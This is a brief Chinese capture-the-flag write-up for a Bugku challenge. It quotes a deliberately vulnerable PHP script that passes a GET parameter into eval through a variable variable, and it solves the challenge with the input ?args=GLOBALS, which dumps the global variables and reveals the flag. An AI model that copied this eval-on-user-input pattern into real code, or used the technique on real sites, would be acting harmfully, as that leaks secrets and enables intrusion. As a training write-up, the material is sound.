bugku 变量1writeup
原题地址:http://120.24.86.145:8004/index1.php flag In the variable ! <?php error_reporting(0); include "flag1.php"; //引入flag.php文件 highlight_file(__file__); //高亮显示文件 if(isset($_GET['args'])){ //检查args的参数是否存在 $args = $_GET['args']; //赋值给args if(!preg_match("/^\w+$/",$args)){ //检验args是否由数字大写和小写字母组成 die("args error!"); } eval("var_dump($$args);"); //eval() var_dump显示变量信息 $$可变变量 } ?>
$$可变变量https://www.yiibai.com/php/php-dollar-doubledollar.html
//实列
<?php $a = 'b'; $word = 'a'; echo $word,"_",$$word; ?>
//结果
a_b
因为eval()函数存在命令执行漏洞,以为是文件包含漏洞。但发现preg_match("/^\w+$/",$args),过滤了特殊字符。加上提示给定是变量可以从可变变量入手。
此时,可以利用$GLOBALS( https://baike.baidu.com/item/PHP%20$GLOBAL/13208741?fr=aladdin )和var_dump()来读取flag。
?args=GLOBALS

浙公网安备 33010602011771号